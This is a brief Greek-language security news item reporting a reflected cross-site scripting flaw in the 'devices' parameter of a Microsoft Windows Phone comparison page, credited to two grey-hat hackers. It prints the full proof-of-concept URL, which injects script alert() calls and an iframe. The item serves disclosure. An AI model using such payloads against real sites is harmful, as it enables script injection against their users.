Στις αρχές του μήνα, οι ερευνητές ασφάλειας είχαν ανακαλύψει μια ευπάθεια Cross-Site-Scripting στην επίσημη ιστοσελίδα της Microsoft (microsoft.com) και τώρα οι GreyHat hackers “Sony” και οFlexxpoint ανακάλυψανμια νέα XSS ευπάθεια.Το πεδίο»συσκευές» στη σελίδα ....
“Συγκρίνετε τα Windows Phones” της Microsoft.com
βρέθηκε ευάλωτο σε αυτήν την επίθεση.
POC:
http://www.microsoft.com/windowsphone/en-us/buy/7/compare.aspx?devices=»«><script>alert(«XSS by Sony and Flexxpoint»)</script><script>alert(«Oh..»)</script><script>alert(«Uh..»)</script><script>alert(«wow..»)</script><script>alert(«Microsoft.com Cross Site Scripting»)</script><script>alert(«meow!»)</script><iframe width=»420″ height=»315″ src=»http://www.youtube.com/embed/SLcBI3JUKZ4″ frameborder=»0″ allowfullscreen></iframe>
Αξιοσημείωτο είναι ότι η προηγούμενη ευπάθεια δεν έχει ακόμα επιδιορθωθεί, γεγονός που σημαίνει ότι η Microsoft δεν ενδιαφέρεται για τις ευπάθειες στη ιστοσελίδα της.
http://www.secnews.gr